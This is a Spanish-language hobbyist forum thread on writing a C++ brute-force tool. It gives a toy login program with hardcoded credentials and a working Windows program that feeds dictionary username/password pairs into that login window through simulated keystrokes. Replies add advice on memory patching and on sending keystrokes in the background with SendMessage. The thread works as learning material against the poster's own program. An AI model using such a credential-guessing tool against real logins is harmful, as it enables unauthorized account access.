Ataque por fuerza bruta en c++

Iniciado por <<<-Basura->>>, 20 Junio 2011, 05:03 AM

0 Miembros y 1 Visitante están viendo este tema.

fantasma306

Cita de: do-while en 21 Junio 2011, 18:17 PM
¡Buenas!

No se si se podria hacer de esta forma o no. Durante un tiempo estuve trasteando con la ingenieria inversa. Las funciones de lectura, si leen cadenas, necesitan la diereccion de memoria de la cadena en la que almacenan datos. Esta parte de la memoria supongo que sera de lectura/escritura. Lo que podrias intentar es parchear la lectura de los datos, para escribir la cadena desde fuera del programa e introducir un salto a la parte en la que se comprueba si el user/pass es correcto, y asi hasta que encuentres un par valido... Asi te olvidas de las APIs y el programa es mas portable... Pero ya te digo, solo es una idea.

¡Saludos!

si, eso tambien lo habia pensado, desensamblar el programa victima, ver en que direccion de memoria se guardan los datos, y a partir de ahi crear el programa BruteForce, e ir escribiendo en esas zonas de memoria..., tengo que probarlo :P

pero como escribir en esas zonas de memoria?

saludos
Es mejor callar y que piensen que eres idiota a hablar y demostrarlo.

fantasma306

Ya encontre el error, me da vergüenza decir donde estaba el error  :-[

error de logica en el codigo victima...

bueno aqui os dejo el codigo por si quereis hecharle un vistazo:

VICTIMA:
Código (cpp) [Seleccionar]
#include <iostream>
#include <string>
using namespace std;
   
const string usu = "aaa";
const string pas = "cab";

int main(){
string USU;
string PAS;
    do{
system("title LOGIN");
cout << "Usuario: ";
cin >> USU;
cout << "Contraseña: ";
cin >> PAS;
cin.clear();
    }while(usu!=USU || pas!=PAS);
if(usu==USU && pas==PAS)
cout<<"Contraseña CORRECTA"<<endl;
    return 0;
}


ATAQUE:
Código (cpp) [Seleccionar]
#include <iostream>
#include <fstream>
#include <string>
#include <Windows.h>
using namespace std;

bool enviar(string login, string pass);

int main(){
const HANDLE Consola = GetStdHandle(STD_OUTPUT_HANDLE);
string login, pswd;
ifstream pass("dico.txt");
ifstream user("dico.txt");
if(pass.is_open() && user.is_open()){
bool seguir=true;
while(!user.eof() && seguir){
getline(user,login,'\n');
while(!pass.eof() && seguir){
getline(pass,pswd,'\n');
SetForegroundWindow((HWND)Consola);
seguir=enviar(login,pswd);
Sleep(300);
}
}

}
system("pause");
return 0;
}

bool enviar(string login, string pass){
HWND hCalc = FindWindow(NULL, TEXT("LOGIN"));//Obtenemos el Handle de la ventana
if (hCalc != 0){
cout<<"User: "<<login<<endl;
cout<<"Pass: "<<pass<<endl;
SetForegroundWindow(hCalc);

/*enviar login*/
for(register int i=0;i<login.size();i++){
keybd_event((BYTE)VkKeyScan(login[i]), 0, 0, 0);
keybd_event((BYTE)VkKeyScan(login[i]), 0, 2, 0);
}
keybd_event(VK_RETURN, 0, 0, 0); //Pulsamos enter
keybd_event(VK_RETURN, 0, 2, 0); //Levantamos enter

/*enviar pass*/
for(register int i=0;i<pass.size();i++){
keybd_event((BYTE)VkKeyScan(pass[i]), 0, 0, 0);
keybd_event((BYTE)VkKeyScan(pass[i]), 0, 2, 0);
}
keybd_event(VK_RETURN, 0, 0, 0); //Pulsamos enter
keybd_event(VK_RETURN, 0, 2, 0); //Levantamos enter

return true;
}
else
return false;
}




en la consola de ataque, el ultimo user y pass son los correctos...

solo un pequeño detalle, si en el codigo de la victima, el programa no se cierra, el programa atacante sigue poniendo el users y pass en la consola. Por lo tanto no se podria saber cual es el codigo y el users
Es mejor callar y que piensen que eres idiota a hablar y demostrarlo.

BlackZeroX

#22
...

Usa getforegroundwindow() para saber si el handle de la ventana ACTIVA es el correcto ( con respecto al obtenido con FindWindow() ) )... si estas en windows ( Obvio por que veo las apis de windows... ) puedes usar SendMessage() para enviar las pulsaciones (teclas y/o texto), de este modo no importa si esta minimazada la ventana u otro estado, SIEMPRE le llegaran las pulsaciones de teclas ( 2do plano ).

En el codigo del proceso enviar deberian usar GetForegroundWindow() para saber si la ventana SUPERIOR esta activa ( focus() ) o es otra, de este modo se invocaria nuevamente a SetForegroundWindow() para establecerle el foro (activa), este es un metodo cutre, usar pipes o SendMessage() son mas factibles ademas de que pueden trabajar en 2do plano.

En Resumen:

Ya que quedan fuera los pipes usa SendMessage() + WM_KEYDOWN + WM_KEYUP + hHandle de la ventana destino ( para asegurar la llegada de las pulsaciones virtuales ) + las constantes Virtual Key Code

Dulces Lunas!¡.
The Dark Shadow is my passion.